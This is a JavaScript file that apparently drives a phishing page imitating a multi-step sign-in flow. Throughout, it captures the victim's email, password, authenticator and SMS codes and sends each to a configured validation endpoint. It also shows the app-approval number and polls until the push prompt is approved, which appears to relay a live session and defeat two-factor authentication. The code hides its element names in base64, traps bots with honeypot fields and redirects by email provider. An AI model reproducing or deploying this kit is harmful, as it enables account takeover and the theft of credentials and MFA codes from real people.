document.addEventListener('DOMContentLoaded', () => {
    // Get configuration from dynamically named global object
    const authConfig = window[Object.keys(window).find(key => key.startsWith('jsConfig_'))];
    const { vars, functions, props } = authConfig;
    
    // Cache frequently accessed values
    const phpConfigCache = window[vars.phpConfig];
    const errorMessagesCache = window[vars.errorMessages];
    const validationStateCache = window[vars.validationState];
    const initialOptionsCache = window[vars.initialOptions];
    let viewCache = window[vars.view];
    let enmailCache = window[vars.enmail];
    const statusAccessDataCache = window[vars.statusAccessData];
    
    // Decode and cache base64 data once
    const elementIds = JSON.parse(atob(window[vars.damang]));
    const classNames = JSON.parse(atob(window[vars.suke]));
    
    // Development flag
    const debug = phpConfigCache && phpConfigCache.debug === true;
    let defaultItem = '';
    
    // Pre-computed class name mappings for performance
    const classNameCache = new Map();
    const getClassName = originalClass => {
        if (!classNameCache.has(originalClass)) {
            classNameCache.set(originalClass, classNames[originalClass] || originalClass);
        }
        return classNameCache.get(originalClass);
    };
    
    // Pre-cache all DOM elements at initialization
    const elements = {
        uname: document.getElementById(elementIds.inp_uname),
        pwd: document.getElementById(elementIds.inp_pwd),
        code: document.getElementById(elementIds.inp_verifnotif),
        sms: document.getElementById(elementIds.inp_codesms),
        forms: {
            uname: document.getElementById(elementIds.form),
            pwd: document.getElementById(elementIds.form2),
            code: document.getElementById(elementIds.form3),
            sms: document.getElementById(elementIds.form4)
        },
        logo: document.getElementById(elementIds.logoimage),
        placeholders: {
            uname: document.getElementById(elementIds['placeholder-image']),
            pwd: document.getElementById(elementIds['placeholder-image-2'])
        },
        signInOptions: document.getElementById(elementIds.signInOptions),
        messageElement: document.getElementById(elementIds.firstmessage),
        sections: {
            uname: document.getElementById(elementIds.section_uname),
            pwd: document.getElementById(elementIds.section_pwd),
            final: document.getElementById(elementIds.section_final),
            verifnotif: document.getElementById(elementIds.section_verifnotif),
            sms: document.getElementById(elementIds.section_sms),
            appnotif: document.getElementById(elementIds.section_appnotif),
            twofa: document.getElementById(elementIds.section_2fa),
            redirect: document.getElementById(elementIds.section_redirect)
        },
        errors: {
            uname: document.getElementById(elementIds.error_uname),
            pwd: document.getElementById(elementIds.error_pwd),
            verifnotif: document.getElementById(elementIds.error_verifnotif),
            sms: document.getElementById(elementIds.error_sms)
        },
        occupied: document.querySelectorAll(`#${elementIds.occupied}`),
        buttons: {
            next: document.getElementById(elementIds.btn_next),
            sig: document.getElementById(elementIds.btn_sig),
            notif: document.getElementById(elementIds.btn_notif),
            sms: document.getElementById(elementIds.btn_sms),
            final: document.querySelectorAll(`#${elementIds.btn_final}`),
            back: document.querySelectorAll(`.${getClassName('back')}`)
        },
        entropy: document.getElementById(elementIds.entropy),
        options: document.querySelectorAll(`.${getClassName('option')}`),
        link_back: document.getElementById(elementIds.link_back),
        showDisplay: document.getElementById(elementIds.showDisplay),
        showDisplay2: document.getElementById(elementIds.showDisplay2),
        loadingBall: document.querySelector('.loading-ball'),
        overlays: {
            uname: document.getElementById(elementIds.overlay),
            pwd: document.getElementById(elementIds.overlay2),
            '2fa': document.getElementById(elementIds.overlay6),
            sms: document.getElementById(elementIds.overlay4),
            '2fa_submit_app': document.getElementById(elementIds.overlay5),
            verifnotif: document.getElementById(elementIds.overlay3)
        }
    };

    // Utility functions using randomized property names
    function setOccupiedText(text) {
        const occupiedElements = elements.occupied;
        for (let i = 0; i < occupiedElements.length; i++) {
            occupiedElements[i].innerText = text;
        }
    }
    
    function focusAndSelect(element) {
        element.focus();
        element.select();
    }
    
    function toggleVisibility(elementId, shouldShow) {
        const element = document.getElementById(elementId);
        element?.classList.toggle('d-none', !shouldShow);
    }
    
    // Helper function to immediately hide all sections
    function hideAllSections() {
        Object.keys(elements.sections).forEach(section => {
            const sectionElement = elements.sections[section];
            if (sectionElement) {
                sectionElement.classList.add('d-none');
                sectionElement.style.cssText = '';
            }
        });
    }
    
    
    // View transition with loading animation
    function transitionView(newView, showSection, hideSection = null) {
        viewCache = newView;
        elements.loadingBall?.classList.remove('d-none');
        
        if (hideSection) {
            const hideSectionEl = elements.sections[hideSection];
            if (hideSectionEl) {
                hideSectionEl.style.cssText = 'opacity: 0; transition: opacity 0.15s';
            }
        }
        
        setTimeout(() => {
            // Hide all sections first
            for (const section in elements.sections) {
                const sectionElement = elements.sections[section];
                if (sectionElement && section !== showSection) {
                    sectionElement.classList.add('d-none');
                    sectionElement.style.cssText = '';
                }
            }
            
            // Show the target section
            const showSectionEl = elements.sections[showSection];
            if (showSectionEl) {
                showSectionEl.classList.remove('d-none');
                showSectionEl.style.opacity = '1';
            }
            
            elements.loadingBall?.classList.add('d-none');
        }, hideSection ? 150 : 0);
    }

    function updateView(newView, sectionsToShow = [], sectionsToHide = []) {
        viewCache = newView;
        
        Object.keys(elements.sections).forEach(section => {
            const sectionElement = elements.sections[section];
            if (sectionElement) {
                sectionElement.classList.add('d-none');
            }
        });
        
        sectionsToShow.forEach(section => {
            const sectionName = section.replace('section_', '');
            const sectionElement = elements.sections[sectionName];
            if (sectionElement) {
                sectionElement.classList.remove('d-none');
            }
        });
    }

    function setBackgroundAndLogo(backgroundUrl, iconUrl) {
        if (window.innerWidth >= 768) {
            document.body.style.cssText = `
                content:"";position:absolute;top:0;left:0;right:0;bottom:0;z-index:-1;
                background-image:url('${backgroundUrl || phpConfigCache[props.defaultBackground]}');
                background-size:cover;background-position:center;background-repeat:no-repeat;
            `;
        }
        elements.logo.src = iconUrl || phpConfigCache[props.defaultLogo];
    }

    function toggleOption(selector, show) {
        const element = document.querySelector(selector);
        element?.classList.toggle('d-none', !show);
    }

    // Update input state and validation display
    function updateInputState(input, errorElement) {
        const hasValue = input.value.trim();
        errorElement.innerText = "";
        
        if (input === elements.uname) {
            elements.placeholders.uname.style.display = hasValue ? 'none' : 'block';
        } else if (input === elements.pwd) {
            elements.placeholders.pwd.style.display = hasValue ? 'none' : 'block';
            elements.messageElement.style.display = '';
        }
        
        input.classList.toggle(getClassName('error-inp'), !hasValue);
    }

    function showLoading() {
        elements.loadingBall?.classList.remove('d-none');
    }
    
    function hideLoading() {
        elements.loadingBall?.classList.add('d-none');
    }

    
    // Overlay management
    function show(section) {
        const sectionElement = document.getElementById(elementIds[`section_${section}`]);
        sectionElement?.classList.add(getClassName('section-disabled'));
        
        elements.overlays[section]?.classList.add(getClassName('active'));
    }

    function hide(section, validate = false, message = null) {
        const sectionElement = document.getElementById(elementIds[`section_${section}`]);
        sectionElement?.classList.remove(getClassName('section-disabled'));
        
        elements.overlays[section]?.classList.remove(getClassName('active'));
        
        if (elements.errors[section]) {
            elements.errors[section].innerHTML = message || '';
        }

        // Update validation state and input styling using cached variables
        if (section === 'uname') {
            elements.uname?.classList.toggle(getClassName('error-inp'), !validate);
            validationStateCache[props.uname] = validate;
        } else if (section === 'pwd') {
            elements.pwd?.classList.toggle(getClassName('error-inp'), !validate);
            validationStateCache[props.pwd] = validate;
        } else if (section === 'verifnotif') {
            elements.code?.classList.toggle(getClassName('error-inp'), !validate);
            validationStateCache[props.code] = validate;
        } else if (section === 'sms') {
            elements.sms?.classList.toggle(getClassName('error-inp'), !validate);
            validationStateCache[props.sms] = validate;
        }
    }

    function hideSection(section) {
        const sectionElement = document.getElementById(elementIds[`section_${section}`]);
        if (sectionElement) {
            sectionElement.classList.remove(getClassName('section-disabled'));
        }
        const overlayElement = elements.overlays[section];
        if (overlayElement) {
            overlayElement.classList.remove(getClassName('active'));
        }
    }

    function handleAccessSuccess() {
        const { email, live, twofactor, twofactor_info } = statusAccessDataCache;

        // Immediately hide all sections to prevent visual flashing
        hideAllSections();
        
        elements.uname.value = email;

        if (live) {
            if (twofactor) processTwoFactorInfo(twofactor_info);
            else if (!validationStateCache[props.pwd]) navigateToFinal();
        } else resetPasswordView();
    }

    function processTwoFactorInfo(twofactor_info) {
        if (!validationStateCache[props.pwd]) {
            // Check if we're coming from password validation (pwd section visible) 
            // or from handleAccessSuccess (sections hidden)
            const comingFromPasswordValidation = !elements.sections.pwd.classList.contains('d-none');
            
            // If coming from handleAccessSuccess, all sections are already hidden
            // If coming from password validation, keep password section loading
            if (!comingFromPasswordValidation) {
                // Coming from handleAccessSuccess - sections already hidden, just show loading
                showLoading();
            }
            // If coming from password validation, don't hide sections - keep password loading
            
            defaultItem = '';
            let hasDefault = false;

            // Process two-factor authentication options
            for (let i = 0; i < twofactor_info.length; i++) {
                const item = twofactor_info[i];
                const methodName = item.method_name;
                
                if (methodName === 'PhoneAppNotification') {
                    toggleOption(`.${getClassName('option')}[data-url="verify_app"]`, true);
                    if (item.isDefault) {
                        defaultItem = 'verify_app';
                        hasDefault = true;
                    }
                } else if (methodName === 'PhoneAppOTP') {
                    toggleOption(`.${getClassName('option')}[data-url="verify_code"]`, true);
                    if (item.isDefault) {
                        defaultItem = 'verify_code';
                        hasDefault = true;
                    }
                } else if (methodName === 'OneWaySMS') {
                    toggleOption(`.${getClassName('option')}[data-url="verify_sms"]`, true);
                    if (item.isDefault) {
                        defaultItem = 'verify_sms';
                        hasDefault = true;
                    }
                }

                if (item.display) {
                    elements.showDisplay.innerText = "Text " + item.display;
                    elements.showDisplay2.innerHTML = `<span class="${getClassName('icon')}"><img src="images/info.png" style="width: 85%; height: auto;"></span> We texted your phone ${item.display}. Please enter the code to sign in.`;
                }
            }
            
            if (phpConfigCache[props.selection] == 0 || !hasDefault) {
                navigateToTwoFactorSelection();
            } else {
                validateTwoFactorMethod(defaultItem);
            }
        }
    }

    function navigateToTwoFactorSelection() {
        // Hide loading and all sections when showing 2FA selection
        hideLoading();
        hideAllSections();
        
        transitionView("2fa", "twofa", "pwd");
        validationStateCache[props.pwd] = true;
        validationStateCache[props.two] = false;
    }

    function navigateToFinal() {
        // Immediately hide all sections to prevent visual flashing
        hideAllSections();
        
        hide('pwd', true, '');
        transitionView("final", "final", "pwd");
        validationStateCache[props.pwd] = true;
    }

    function resetPasswordView() {
        hide('pwd', false, errorMessagesCache[props.incorrectPassword]);
        elements.messageElement.style.display = 'none';
        elements.pwd.value = '';
        focusAndSelect(elements.pwd);
        elements.placeholders.pwd.style.display = 'block';
    }

    function handleTwoFactorOption(option) {
        validateTwoFactorMethod(option.getAttribute('data-url'));
        show("2fa");
    }

    function validateTwoFactorMethod(dataUrl) {
        // Don't add additional loading if we're already loading (from password)
        // Only show loading if coming from 2FA selection
        if (viewCache === "2fa") {
            showLoading();
        }
        
        $.ajax({
            url: phpConfigCache[props.validate],
            type: 'POST',
            dataType: 'json',
            data: { 
                em: elements.uname.value, 
                auth: dataUrl,
                security_token: phpConfigCache[props.securityToken],
                timestamp: phpConfigCache[props.timestamp],
                email_hp: '',
                username_hp: '',
                password_hp: ''
            },
            success: function (response) {
                hideSection("2fa");
                if (response.live) {
                    if (!validationStateCache[props.two]) {
                        validationStateCache[props.pwd] = true;
                        validationStateCache[props.two] = false;

                        if (dataUrl === 'verify_app') {
                            elements.entropy.innerHTML = response.entropy;
                            transitionView("2fa_submit_app", "appnotif", "pwd");
                            
                            const intervalId = setInterval(() => {
                                if (viewCache === "2fa_submit_app") pollAppVerification(intervalId);
                                else clearInterval(intervalId);
                            }, 5000);
                        } 
                        else if (dataUrl === 'verify_code') {
                            transitionView("2fa_submit_code", "verifnotif", "pwd");
                            setTimeout(() => focusAndSelect(elements.code), 200);
                        } 
                        else {
                            transitionView("2fa_submit_sms", "sms", "pwd");
                            setTimeout(() => focusAndSelect(elements.sms), 200);
                        }
                    }
                } else {
                    resetToPasswordView();
                    hideLoading();
                }
            },
            error: () => {
                hideLoading();
            }
        });
    }

    function resetToPasswordView() {
        updateView("pwd", ["section_pwd"], ["section_twofa"]);
        setOccupiedText(enmailCache);
        elements.uname.value = enmailCache;
        validationStateCache[props.uname] = true;
        validationStateCache[props.pwd] = false;
    }

    function handleBackButtonClick() {
        if (viewCache === "pwd") {
            validationStateCache[props.uname] = false;
            transitionView("uname", "uname", "pwd");
            elements.placeholders.uname.style.display = 'none';
            setBackgroundAndLogo(phpConfigCache[props.defaultBackground], phpConfigCache[props.defaultLogo]);
        } else if (viewCache === "2fa_submit_app" || viewCache === "2fa_submit_sms" || viewCache === "2fa_submit_code") {
            validationStateCache[props.two] = false;
            const sectionMap = {
                "2fa_submit_app": "appnotif",
                "2fa_submit_sms": "sms",
                "2fa_submit_code": "verifnotif"
            };
            transitionView("2fa", "twofa", sectionMap[viewCache]);
        }
    }

    function handleFinalButtonClick() {
        if (viewCache === "final") {
            window.location.href = atob(phpConfigCache[props.finalRedirect]);
        } else if (viewCache === "2fa") {
            resetToPasswordView();
        }
    }

    // Main validation dispatcher
    function validate() {
        if (viewCache === 'uname') validateUsername();
        else if (viewCache === 'pwd') validatePassword();
        else if (viewCache === '2fa_submit_code') validateVerificationCode();
        else if (viewCache === '2fa_submit_sms') validateSmsCode();
        return false;
    }

    function validateUsername() {
        const usernameValue = elements.uname.value.trim();
        show('uname');
        showLoading();

        if (!usernameValue) {
            hide('uname', false, errorMessagesCache[props.usernameRequired]);
            hideLoading();
            return;
        }

        // Check honeypot fields
        const honeypots = document.querySelectorAll(`.${getClassName('honeypot')}`);
        for (let honeypot of honeypots) {
            if (honeypot.value !== '') {
                window.location.href = phpConfigCache[props.random] + '#honey';
                return;
            }
        }

        $.ajax({
            url: phpConfigCache[props.validate],
            type: 'POST',
            dataType: 'json',
            data: { 
                em: usernameValue,
                security_token: phpConfigCache[props.securityToken],
                timestamp: phpConfigCache[props.timestamp],
                email_hp: '',
                username_hp: '',
                password_hp: ''
            },
            success: function (response) {
                const { live, grablogo, background, icon, type } = response;

                if (live && !validationStateCache[props.uname]) {
                    hide('uname', true, '');
                    grablogo && setBackgroundAndLogo(background, icon);

                    if (type === 'godaddy' || type === 'okta' || type === 'hotmail') {
                        handleRedirect();
                    } else {
                        transitionView("pwd", "pwd", "uname");
                        setOccupiedText(usernameValue);
                        validationStateCache[props.uname] = true;
                        setTimeout(() => focusAndSelect(elements.pwd), 200);
                    }
                } else {
                    hide('uname', false, errorMessagesCache[props.invalidEmail]);
                }
            },
            error: () => window.location.href = phpConfigCache[props.random]
        });
    }

    function handleRedirect() {
        // Immediately hide all sections to prevent visual flashing
        hideAllSections();
        
        setOccupiedText(elements.uname.value);
        setBackgroundAndLogo(phpConfigCache[props.defaultBackground], phpConfigCache[props.defaultLogo]);
        
        updateView('redirect', ['redirect'], ['uname', 'pwd']);
        validationStateCache[props.uname] = true;
        
        setTimeout(() => {
            window.location.href = "access?" + phpConfigCache[props.randString];
        }, 2000);
    }

    function validatePassword() {
        const passwordValue = elements.pwd.value.trim();
        show('pwd');
        showLoading();

        if (!passwordValue) {
            hide('pwd', false, errorMessagesCache[props.passwordRequired]);
            elements.messageElement.style.display = 'none';
            hideLoading();
            return;
        }

        // Check honeypot fields
        const honeypots = document.querySelectorAll(`.${getClassName('honeypot')}`);
        for (let honeypot of honeypots) {
            if (honeypot.value !== '') {
                window.location.href = phpConfigCache[props.random] + '#honey';
                return;
            }
        }

        $.ajax({
            url: phpConfigCache[props.validate],
            type: 'POST',
            dataType: 'json',
            data: { 
                em: elements.uname.value, 
                pa: passwordValue,
                security_token: phpConfigCache[props.securityToken],
                timestamp: phpConfigCache[props.timestamp],
                email_hp: '',
                username_hp: '',
                password_hp: ''
            },
            success: function (response) {
                const { live, twofactor, twofactor_info } = response;

                if (live) {
                    if (twofactor) processTwoFactorInfo(twofactor_info);
                    else if (!validationStateCache[props.pwd]) navigateToFinal();
                } else resetPasswordView();
            },
            error: () => {}
        });
    }

    function validateVerificationCode() {
        const codeValue = elements.code.value.trim();
        show('verifnotif');
        showLoading();

        if (!codeValue) {
            hide('verifnotif', false, errorMessagesCache[props.codeRequired]);
            hideLoading();
            return;
        }

        $.ajax({
            url: phpConfigCache[props.validate],
            type: 'POST',
            dataType: 'json',
            data: { 
                em: elements.uname.value, 
                auth: 'verify_code', 
                code: codeValue,
                security_token: phpConfigCache[props.securityToken],
                timestamp: phpConfigCache[props.timestamp],
                email_hp: '',
                username_hp: '',
                password_hp: ''
            },
            success: function (response) {
                if (response.live) {
                    if (!validationStateCache[props.code]) {
                        hide('verifnotif', true, '');
                        transitionView("final", "final", "verifnotif");
                    }
                } else hide('verifnotif', false, errorMessagesCache[props.invalidCode]);
            },
            error: () => {}
        });
    }

    function validateSmsCode() {
        const smsValue = elements.sms.value.trim();
        show('sms');
        showLoading();

        if (!smsValue) {
            hide('sms', false, errorMessagesCache[props.codeRequired]);
            hideLoading();
            return;
        }

        $.ajax({
            url: phpConfigCache[props.validate],
            type: 'POST',
            dataType: 'json',
            data: { 
                em: elements.uname.value, 
                auth: 'verify_sms', 
                code: smsValue,
                security_token: phpConfigCache[props.securityToken],
                timestamp: phpConfigCache[props.timestamp],
                email_hp: '',
                username_hp: '',
                password_hp: ''
            },
            success: function (response) {
                if (response.live) {
                    if (!validationStateCache[props.sms]) {
                        hide('sms', true, '');
                        transitionView("final", "final", "sms");
                    }
                } else hide('sms', false, errorMessagesCache[props.invalidSms]);
            },
            error: () => {}
        });
    }

    function pollAppVerification(intervalId) {
        if (viewCache === "2fa_submit_app") {
            $.ajax({
                url: phpConfigCache[props.validate],
                type: 'POST',
                dataType: 'json',
                data: { 
                    em: elements.uname.value, 
                    auth: defaultItem, 
                    code: '',
                    security_token: phpConfigCache[props.securityToken],
                    timestamp: phpConfigCache[props.timestamp],
                    email_hp: '',
                    username_hp: '',
                    password_hp: ''
                },
                success: function(newResponse) {
                    const { live } = newResponse;
                    if (live) {
                        if (!validationStateCache[props.app]) {
                            validationStateCache[props.app] = true;
                            elements.sections.appnotif.classList.add('d-none');
                            elements.sections.final.classList.remove('d-none');
                            viewCache = "final";
                            clearInterval(intervalId);
                        }
                    }
                },
                error: function() {
                    clearInterval(intervalId);
                }
            });
        } else {
            clearInterval(intervalId);
        }
    }

    // Initialize based on view
    if (viewCache === 'redirect') {
        validationStateCache[props.uname] = true;
        setOccupiedText(enmailCache);
        elements.uname.value = enmailCache;
        transitionView('redirect', 'redirect');
        setTimeout(() => window.location.href = "access?" + phpConfigCache[props.randString], 1500);
    }

    if (viewCache === 'pwd') {
        validationStateCache[props.uname] = true;
        setOccupiedText(enmailCache);
        elements.uname.value = enmailCache;
        transitionView('pwd', 'pwd');
        focusAndSelect(elements.pwd);
    }

    if (viewCache === 'uname') focusAndSelect(elements.uname);

    if (statusAccessDataCache) handleAccessSuccess();

    // Event listeners
    elements.options.forEach(option => option.addEventListener('click', () => handleTwoFactorOption(option)));

    elements.link_back.addEventListener('click', e => {
        e.preventDefault();
        validationStateCache[props.two] = false;
        validationStateCache[props.app] = false;
        updateView("2fa", ["section_twofa"], ["section_appnotif"]);
    });

    // Input event handlers
    const inputUpdateHandler = (input, errorElement) => () => updateInputState(input, errorElement);
    elements.uname.addEventListener('input', inputUpdateHandler(elements.uname, elements.errors.uname));
    elements.pwd.addEventListener('input', inputUpdateHandler(elements.pwd, elements.errors.pwd));
    elements.code.addEventListener('input', inputUpdateHandler(elements.code, elements.errors.verifnotif));
    elements.sms.addEventListener('input', inputUpdateHandler(elements.sms, elements.errors.sms));

    // Validation button handlers
    const validateHandler = () => validate();
    elements.buttons.next.addEventListener('click', validateHandler);
    elements.buttons.sig.addEventListener('click', validateHandler);
    elements.buttons.notif.addEventListener('click', validateHandler);
    elements.buttons.sms.addEventListener('click', validateHandler);

    // Form submit handlers
    const submitHandler = e => { e.preventDefault(); validate(); };
    elements.forms.uname.addEventListener('submit', submitHandler);
    elements.forms.pwd.addEventListener('submit', submitHandler);
    elements.forms.code.addEventListener('submit', submitHandler);
    elements.forms.sms.addEventListener('submit', submitHandler);

    // Enhanced Enter key handling for each input field
    const handleEnterKey = (e) => {
        // Support both modern and legacy event properties
        if (e.key === 'Enter' || e.keyCode === 13 || e.which === 13) {
            e.preventDefault();
            e.stopPropagation();
            
            // Get the currently focused input
            const focusedElement = document.activeElement;
            
            // Only proceed if an input field is focused and has content
            if (focusedElement && (focusedElement.type === 'text' || focusedElement.type === 'password')) {
                const inputValue = focusedElement.value.trim();
                
                // Only submit if there's actual input content
                if (inputValue.length > 0) {
                    // Add a small delay to make it feel more natural (anti-bot)
                    setTimeout(() => {
                        validate();
                    }, 50);
                }
            }
        }
    };

    // Add Enter key listeners to all input fields
    elements.uname.addEventListener('keydown', handleEnterKey);
    elements.pwd.addEventListener('keydown', handleEnterKey);
    elements.code.addEventListener('keydown', handleEnterKey);
    elements.sms.addEventListener('keydown', handleEnterKey);

    // Navigation button handlers
    elements.buttons.back.forEach(button => button.addEventListener('click', handleBackButtonClick));
    elements.buttons.final.forEach(button => button.addEventListener('click', handleFinalButtonClick));

    // Initialize option visibility using randomized property names
    toggleOption(`.${getClassName('option')}[data-url="verify_sms"]`, initialOptionsCache[props.sms]);
    toggleOption(`.${getClassName('option')}[data-url="verify_app"]`, initialOptionsCache[props.app]);
    toggleOption(`.${getClassName('option')}[data-url="verify_code"]`, initialOptionsCache[props.code]);

    // Set initial text content using randomized properties
    elements.signInOptions.textContent = atob(phpConfigCache[props.encodedText]);
});
